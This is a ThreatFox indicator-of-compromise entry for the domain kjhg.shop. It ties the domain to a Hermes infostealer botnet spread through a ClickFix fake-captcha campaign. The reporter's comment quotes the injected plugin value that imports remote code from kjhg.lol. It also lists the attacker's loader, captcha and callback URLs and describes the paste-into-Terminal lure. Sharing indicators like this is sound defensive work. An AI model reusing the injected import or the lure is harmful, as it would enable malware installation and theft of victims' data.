ThreatFox IOC Database
You are viewing the ThreatFox database entry for domain kjhg.shop.
Database Entry
| IOC ID: | 1973896 |
|---|---|
| IOC: | kjhg.shop |
| IOC Type : | domain |
| Threat Type : | botnet_cc |
| Malware: | Hermes |
| Confidence Level : | Confidence level is high (100%) |
| Is compromised? : | False |
| First seen: | 2026-10-19 06:20:09 UTC |
| Last seen: | never |
| UUID: | 7be4e6a8-cb81-11f1-bd13-42010aa4000a |
| Reporter |  iocmonster |
| Reward | 5 credits from ThreatFox |
| Tags: | abe-bypass ClickFix com-hijacking hermes hermes-stealer infostealer |
iocmonster
ClickFix Payload is embedded into the slider-hero-pro plugin (slidertype: 'a;import(`//kjhg.lol`);',)It loads with ECH, using outer SNI cloudflare-ech.com, loads the "jquery" loader script https://cdn.kjhg.shop/js/jquery-3.7.1.migrate.js and displays the fake CloudFlare screen on https://cdn.kjhg.shop/captcha.html.
It then polls https://cdn.kjhg.shop/seo/callback.php?connect=1 to check whether the victim has already run the ClickFix payload, granting access when ti happened.
The ClickFix payload (Win + X, I for Terminal, then paste) then runs the Hermes infostealer/rat/botnet management system. See tag:hermes-stealer for IOCs specific to that.